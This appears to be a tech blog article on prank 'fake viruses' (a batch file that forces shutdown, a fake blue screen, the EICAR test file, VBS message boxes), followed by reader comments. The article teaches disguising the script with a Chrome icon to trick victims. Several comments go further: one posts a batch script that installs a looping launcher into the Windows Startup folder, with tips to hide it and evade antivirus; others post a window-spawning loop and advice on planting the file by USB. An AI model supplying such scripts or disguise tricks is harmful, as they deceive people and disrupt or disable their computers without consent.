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Pranking your friends and family is the best sort of fun. And there is nothing wrong with a harmless prank, especially if the victim is anyone but you. These days, we’re constantly plugged into our laptops, tablets, or smartphones 7 Ways to Reduce Screen Time and Rest Your Eyes 7 Ways to Reduce Screen Time and Rest Your Eyes Staying healthy includes caring for the eyes. Vision related health problems are a real lifestyle ailment and our digital habits are promoting. The cure lies in thoughtful use of the screen. Read More . So, what better way to one-up your partner or siblings than seemingly destroying their hard drive with a fake virus How to Spot and Avoid Fake Virus & Malware Warnings How to Spot and Avoid Fake Virus & Malware Warnings How can you tell between genuine and fake virus or malware warning messages? It can be tough, but if you stay calm there are a few signs that will help you distinguish between the two. Read More ?

Although the following fake viruses may seem malicious to the unsuspecting, they’re completely sanitized: no harm will come to the system they’re deployed on. It is time to sit back, and watch them squirm!

1. Fake Virus Batch File

There are numerous variations of this prank. A batch file can be easily programmed to spit out a long stream of nonsensical or malicious-sounding commands, displayed on screen for the victim to see. In that, it makes for one of the most effective pranks because it looks somewhat like serious changes are being made to the system, delivered in the Command Prompt 15 CMD Commands Every Windows User Should Know 15 CMD Commands Every Windows User Should Know The command prompt is an antiquated, but powerful Windows tool. We'll show you the most useful commands every Windows user needs to know. Read More .

Start by downloading our pre-prepared code. When prompted, head to File > Save As. Set the Save as type to All Files. Then, give your file a nifty, intriguing name — remember, you want your potential victim to actually execute the file — and add the .bat extension. This extension turns your standard text document into a batch file whose commands will run when the victim opens the file.

The batch file will display the messages in sequence, then start an automatic shutdown sequence.

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You can stop the automatic shutdown by hitting Windows Key + R, then typing shutdown /a.

Fake Blue Screen of Death

A fake virus might upset your victim, or confuse them. Another handy prank file is the fake Blue Screen of Death (BSOD). A fake BSOD simulates a full system crash Windows 10 Crashing With a Blue Screen of Death? How to Troubleshoot It Windows 10 Crashing With a Blue Screen of Death? How to Troubleshoot It Did a Blue Screen of Death ruin your day? It comes without warning and it persists until you fix the underlying issue. We'll show you a few easy ways to troubleshoot your BSOD. Read More , down to the final blue screen.

We’ve also prepared this code for you. Simply download bsod.txt, and rename the file, adding the .bat file extension.

Change Your File Icon

To add realism to your fake files, I would suggest changing the default file icon for the batch file. The “cog” icon is intriguing, but a sensible person will leave the unknown file well alone.

Let’s change the file icon How to Customize Any Icon in Windows How to Customize Any Icon in Windows Customizing Windows icons can be frustrating. Luckily, we did the work for you! Here is a complete guide to changing any Windows icon, regardless of location. Read More to the Chrome browser icon — an altogether more trustworthy proposition.

Right-click the fake virus batch file and select Send to > Desktop (create shortcut). Now, head to your desktop, right-click the newly created shortcut, select Properties, followed by Change Icon. Browse to your Google Chrome directory (mine is C:\Program Files (x86)\Google\Chrome), select Application, then Chrome.exe. Press OK.

You’ll now spot several Chrome icons. Use the “standard” Chrome icon, press OK, then Apply, and OK.

Next time the victim selects Chrome from their Desktop, the fake BSOD program will run… and hilarity will ensue.

2. EICAR Test File

This test file, while completely harmless, will trigger most antivirus suites and prompt the user to take evasive action.

The EICAR test file is an internationally recognized antivirus test. As such, your antivirus will act quickly to rid your system of the “threat.” Unfortunately, it will also immediately notify the victim that the virus signature matches “EICAR Test Signature,” somewhat removing the fun.

3. Fake Update

Windows 10 has taken some time to move past the bad press surrounding its enforced update system. Previous to Windows 10, users could choose the time and place of their update. Windows 10 changed all that and, in the early days of the new operating system, many users found their system updating without warning.

FakeUpdate preys on that background fear, allowing you to switch the victim’s browser to a slow-moving Windows 10 update. Head to the linked site, select the update screen you’d like (consider what their operating system is), then press F11 to enter full-screen mode.

Want an extra devious bonus? As you’ll be delivering this prank in person, when your victim exclaims that “the update is taking a long time,” you can helpfully suggest that pressing Enter usually speeds the process — only for that to trigger a fake BSOD!

The site includes old versions of Windows, as well as some common ransomware screens, too.

4. Create Your Own Sequence of Error Messages

Finally, we can create a personalized error message sequence for your victim. First, open Notepad.

Now, type the following:

x=msgbox("YOUR MESSAGE HERE", Button+Icon, "YOUR TITLE HERE")

Type your prank/scary/humorous message in the first section, and add a title for the dialog box in the second.

I’ll explain the buttons and icons now. Buttons are the options available to the victim. Select from the following:

  • 0 — OK
  • 1 — OK and Cancel
  • 2 — Abort, Retry, and Ignore
  • 3 — Yes, No, and Cancel
  • 4 — Yes and No
  • 5 — Retry and Cancel

In addition, you can choose the Icon that appears alongside the error messages:

  • 0 — No icon
  • 16 — Critical icon
  • 32 — Question mark icon
  • 48 — Warning icon
  • 64 — Information icon

Now, if you’d like to add another error message in sequence, add another line to your Notepad file, altering the message and dialog box title if required.

When you’re all set, head to File > Save As, and choose a filename. Replace the .txt file extension with .vbs. Then, change the Save as type to All Files, and press Save. You can follow the icon change tutorial detailed earlier to complete your deceit.

Now, Execute

When you execute the prank, I think it would be considerate to keep an eye on your victim (if you can). It’s all fun and games until someone has a panic attack and throws their computer through a window.

Do you have any fake virus tips for our readers? What are you favorite computer-based pranks? Let us know in the comments!

Image Credits: Helder Almeida/Shutterstock

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  1. fcd76218
    August 16, 2017 at 12:23 pm

    "It’s all fun and games until someone has a panic attack and throws their computer through a window."
    It's all fun and games until the prank victim decides to throw the perpetrator through the window.

    With friends like you, Gavin, who needs enemies.

    • Doc
      August 16, 2017 at 4:30 pm

      Throwing a Mac out a window is the *best* way to accelerate it - at 9.8M/s squared!

  2. spyjoshx
    August 15, 2017 at 1:58 pm

    LOL the fake Windows 10 install doesn't go NEARLY as slow as how long it took MY laptop to update to Windows 10!

  3. pohor debbarma
    June 29, 2017 at 8:14 am

    nice article, really funny haha

  4. Asher
    May 3, 2017 at 10:04 pm

    Is rjlpranks.com safe? McAfee and chrome both say it's not.

  5. Deep House Mixtapes
    February 19, 2017 at 7:16 am

    We believe that music dependency works as a surrogate for lack of human bonds. Songs can pierce one's heart directly; it needs no mediation. Weekly Chillout mixtapes published each and every Wednesday. Hear us on MySpace!

    glut.it

  6. Techmaster
    February 13, 2017 at 1:18 pm

    One more thing....Save the file as . vbs once you have typed your code in notepad.

  7. Techmaster
    February 13, 2017 at 1:13 pm

    Yo hello guys!! I discovered a fake virus that allows you to write anything you want in a msg box on the pc!
    Here is the code....
    x=msgbox ("(your stuff)",0+64,"(your title)")
    P.S. The commas are important and you can replace "your stuff" and "your title " with anything....
    Enjoy troubling your pals....?????

  8. jimmy
    January 23, 2017 at 3:53 pm

    The memz trojan. Check it out!

  9. Husanboy Bayern
    January 8, 2017 at 8:01 am

    Here's my work! It will make you unable to use your PC and FORCE you to install Windows OS again. You will only be aware of the infiltration the next time you turn on your Computer! Use the latest version of "Bat To Exe Converter" and add Administrator manifest to it and make it Invisible application before converting it to .exe! Your victim doesn't even know what is happening or what this virus did. Your trusted Antivirus can't even detect it cause this file doesn't work as normal viruses but the later damage will be way too much than what a couple of malware can do.
    You may name it in a sexy way like GTA and choose the appropriate icon to attract your victim's attention. But please, don't try to be an ASS HAT with it.

    @echo off

    echo @echo off>HusanboyBayernVirus.bat
    echo title Husanboy Bayern Virus>>HusanboyBayernVirus.bat
    echo echo.>>HusanboyBayernVirus.bat
    echo echo Computer has been damaged by Husanboy>>HusanboyBayernVirus.bat
    echo echo.>>HusanboyBayernVirus.bat
    echo pause>nul>>HusanboyBayernVirus.bat

    echo @echo off>operateHusanboyBayernVirus.bat
    echo :repeat>>operateHusanboyBayernVirus.bat
    echo start "c:\Windows\HusanboyBayernVirus.bat">>operateHusanboyBayernVirus.bat
    echo goto :repeat>>operateHusanboyBayernVirus.bat

    copy "HusanboyBayernVirus.bat" "c:\Windows\"
    copy "operateHusanboyBayernVirus.bat" "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
    ping localhost -n 1 >nul
    del /f /q "HusanboyBayernVirus.bat"
    del /f /q "operateHusanboyBayernVirus.bat"

  10. XxX_Savage101_XxX
    October 14, 2016 at 7:08 pm

    My antivirus is so good that it even blocked the download page for the EICAR file XDDDDDDD

  11. Frost
    October 8, 2016 at 10:03 am

    The first one does not work. When I try to save it it disappears. What can I do?

    • LOLOLOLLOLOL
      October 12, 2016 at 7:01 pm

      Hey frost you will need to save the notepad as a .bat file so i saved mine as "OMG.23456" Because why not and you dont need the speech marks but save it on your desktop ok? I hope i am useful

  12. Anonymous
    August 28, 2016 at 6:00 pm

    Neato!

  13. kak
    August 15, 2016 at 3:26 pm

    kaka

  14. UNKNOWNED
    August 6, 2016 at 11:29 pm

    I AM UNKNOWED

    • Crossy
      August 22, 2016 at 2:12 am

      no one cares dude

      • imiK
        August 7, 2017 at 6:56 am

        Crossy ..... lol

  15. UNKNOWNED
    August 6, 2016 at 11:28 pm

    :( The files Are Blocked :( :( :(

  16. Kane
    August 5, 2016 at 7:47 am

    XD my anti virus quarantined the first one

    • andrew9696
      November 30, 2016 at 9:03 am

      Is it harmful?

  17. Hitman
    July 20, 2016 at 8:35 pm

    email like all others.

  18. Dylan
    May 29, 2016 at 3:18 pm

    hey guys if you where wondering why it wouldn't shutdown the system for the first one just right click click on edit, go all the way down to the bottom and right where you see shutdown then other stuff, erase that one line and type Shutdown /s /f /t 10 /c "Your comment here"

  19. jigolo
    May 20, 2016 at 4:50 am

    why is it, when i try to do the first prank its not shutting down the system?

  20. FBI
    May 7, 2016 at 11:28 pm

    BTW THX

  21. FBI
    May 7, 2016 at 11:27 pm

    WONT SHUT DOWN )=

  22. sloth
    April 20, 2016 at 8:51 pm

    now how do i send the virus to someone

    • AnizoneazAni10
      October 3, 2016 at 3:04 am

      You can make it into a run able file/app that starts when it is click. Then you attach it in an email or put it on a USB. Then when some leaves their computer on, you plug in the USB and download the file. You should name the file something like Google Chrome and change the icon image so they click on it.

  23. priyansh
    April 1, 2016 at 6:28 am

    the first prank seemed interesting but pc is not shutting down after pressing any key

    • anonymous
      May 6, 2016 at 1:56 am

      you just press 'X' on the launch, top right corner like traditional

  24. phenil
    February 14, 2016 at 11:37 am

    hi can you make a virus that make another virus.
    yes, then please send me email (phenilkumar@gmail.com)...

  25. RexTheGreat37
    February 11, 2016 at 2:26 am

    how do you make it so it dosent shut down?

  26. HJGould!
    December 11, 2015 at 8:37 pm

    How are you suppose to make the fake delete thing work? Is it in the notepad of something?

    • nellie
      February 5, 2016 at 12:01 am

      Yah, it's in the notepad then you want to save it by adding the name of what you want to call it something interesting so someone will push it then adding .bet so an example would be clickonme.bat The .bet makes it the kind of file so it works I also safe fake virus as .vbs but .vbs doesn't work for this file.

    • noone
      February 24, 2016 at 12:06 am

      shutdown /a

  27. Aaron
    November 19, 2015 at 10:11 am

    Lol thanks
    my friend nearly started crying

  28. kim
    May 5, 2015 at 2:27 pm

    lol my eicar got removed immediately by my windows security even when i saved in .txt format.....

  29. Henry Griffeths
    April 9, 2015 at 10:33 am

    Thanks for sharing all of your ideas! definitly going to try.Tempted to do it at school, but I can't imagine the conciquences. (I got to a middle school)

  30. ROzA
    March 23, 2015 at 5:42 am

    This is a fun one!

    Type
    @echo off
    color 0a
    :hack
    echo echo 010 010 10 01 0100 10 010 10 010 1001 10 010 10 10 010 101110 10 100 100 1011
    echo 101010100 100 00100 010 0010 01000010 010 01000100010 01000 0100100 100 01000
    echo 101 0100010 1000001 01010 10 0100010 10 0010 010010 0 010 010 0000111001011011
    echo 000 010 01010010 010001001 00100100 1010 01001001 0010010 01001000100 00100111
    echo 001 0010 10 010010010 010 100 10 01 010 010 010 010 10 010 10 010 10 01010 0
    echo 000 010 00 001 0010 00 1000100 10
    echo 1111 10 010 01 0010100 10 01001010 1 11 0001 00 001 1 1 01 0100000 1 1 11 1
    echo 000 1000 10 010 100 0010 10 01 010 010 10000 010 010 01 10010010010 1001 100
    echo 1010010 010 100 010 10 010 10 010 1010 010 01 01 00001 010 01 010 010 10 001
    echo 111 11111 11111 11111 11111 11111 1111111 111111111
    echo 101010100 100 00100 010 0010 01000010 010 01000100010 01000 0100100 100 011
    echo 1111 10 010 01 0010100 10 01001010 1 11 0001 00 001 1 1 01 0100000 1 1 11 1
    echo 000 1000 10 010 100 0010 10 01 010 010 10000 010 010 01 10010010010 1001 10011
    echo 1010010 010 100 010 10 010 10 010 1010 010 01 01 00001 010 01 010 010 10 0011111
    echo 101 0100010 1000001 01010 10 0100010 10 0010 010010 0 010 010 00001110010110111
    echo 000 010 01010010 010001001 00100100 1010 01001001 0010010 01001000100 001001111
    echo 0000 00 000000000000 000000000000000000 00000000000001111 10 0100000 1000000111
    echo 1111111111111111111111111111111111111111111111111111111111111111
    goto hack
    and name it Matrix.bat. It really looks the part!

    • Anonymous
      October 16, 2015 at 5:54 am

      This on works better in my opinion:
      @echo off
      color 02
      :tricks
      echo %random%%random%%random%%random%%random%%random%%random%%random%
      goto tricks

  31. Terence
    March 6, 2015 at 7:21 pm

    type this script into batch:
    @echo off
    :top
    start virus
    goto top

    and name it anything you want, but end it in .bat.
    when you run it command prompts will start appearing everywhere, and the only way to stop them is to restart your computer.

  32. Maddie/ Ethan
    January 17, 2015 at 6:00 am

    The first method is the best. Totally gonna work for the amazing prank we're gonna pull... c:

  33. Anonymous
    December 20, 2014 at 7:54 pm

    Imagine trolling a complete computer noob with all 4 ... hed be like "(screams and deafens himself).

    • asda
      April 25, 2015 at 7:14 pm

      okay, so no one cares about thuis

  34. Julie Colidet
    February 7, 2010 at 11:34 pm

    These a mean jokes lol... My friend used to pull me that type of jokes in the 90's...

  35. Nick D
    October 8, 2009 at 8:15 pm

    Dude, I went to the fake format site and Fake Delete thing, and just getting there, ignoring the "Reported Attack Site" thing, Webroot said that I had a virus in my laptop.

  36. Bill
    September 22, 2009 at 9:16 pm

    EVERYONE!!! MY FAVORITE FAKE VIRUS!!! MAKES YOUR COMPUTER CD DRIVE OPEN AND CLOSE UNTIL YOU SHUTDOWN!!!

    simply copy and paste this into notepad:

    set oWMP = CreateObject("WMPlayer.ocx.7")
    Set colCDROMs = oWMP.cdromcollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 100
    loop

    now save this as a .vbs file and open it. it can get really annoying so do it before you shutdown to try it out, and wait for a friend to open it next and see what happens. Its more annoying than it is scary.

  37. joe B.
    August 27, 2009 at 4:06 pm

    Here's a good one.
    open notepad and type
    a = msgbox("Your message here.", ,"Your box title here.")
    then save as anything.vbs
    now you change the icon to what ever, and wait for it to be clicked on.

  38. Gerald Weber
    August 2, 2009 at 10:59 pm

    The first one is epically funny. I think the main thing is knowing the person you are playing the joke on and if they will be a good sport or not. Just use good judgement when implementing these pranks. Not for the faint of heart. Now who should I try this on? hmmmm

  39. Mixtrixx
    July 27, 2009 at 9:34 pm

    1st One looks pretty cool, and I guess would convince tecbnically challenged PC Noobs into a total nervous breakdown, after thinking they have just lost all that glorious content that they could never imagine of having the money to purchase such lol!,
    However, after quickly running through the Fake Virus Process, and seeing that "C:\Wimdows" got killed off straight away, would it then not be impossible to even sucessfully disable the windows firewall (let alone doing it successfully) lol, but all in all not bad :-).

  40. Ryan Dube
    July 9, 2009 at 12:06 am

    I just have to say - these are a riot. When I was back in school my friends and I would always try to play pranks on each other (back during the DOS days when there wasn't a whole lot you could do.) Today - fake viruses like these open up a whole new world of possibility for playing some funny pranks on friends...I love it. :)

  41. Steven Finch
    July 7, 2009 at 4:02 am

    Some of these are harsh. Im not really too sure why someone would actually want to do this!

  42. Hon tap
    July 6, 2009 at 3:28 pm

    Really cool. I tested with downloading the 2nd virus, and my Avast Antivirus just shouted out! Wonderful, this maybe a cool gift for my friends.

    Thank you very much.

  43. Rajj
    July 6, 2009 at 4:37 am

    hi,
    Thx for sharing, i just scared the hell out of my friend now.. Hahha, just amazing and cool

  44. Austin
    July 5, 2009 at 9:33 pm

    Ah, I see you've found RJLsoftware :) I had a lot of fun with that site back in the early 2000s when I was in elementary school :)

  45. Teresa Boardman
    July 5, 2009 at 9:11 pm

    This might be a little over the top. Most people can't handle a virus and would freak.

  46. Linda Brown Otwel
    July 5, 2009 at 4:45 pm

    Television Spy is correct. Although they may seem fun to use, sometimes fakes viruses are more than they pretend to be, especially if you download them from somewhere. But making your own fake virus is fine, as long as you know what you are doing!
    Lindas

    • Olivia
      April 29, 2015 at 8:51 am

      I didn't soooooooooooooooo what about a poor adult over here! I actually accidently deleted one of my friends things and now we are STRAIGHT UP ENEMIES!!!!!!!!!!!! Thanks Television Spy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!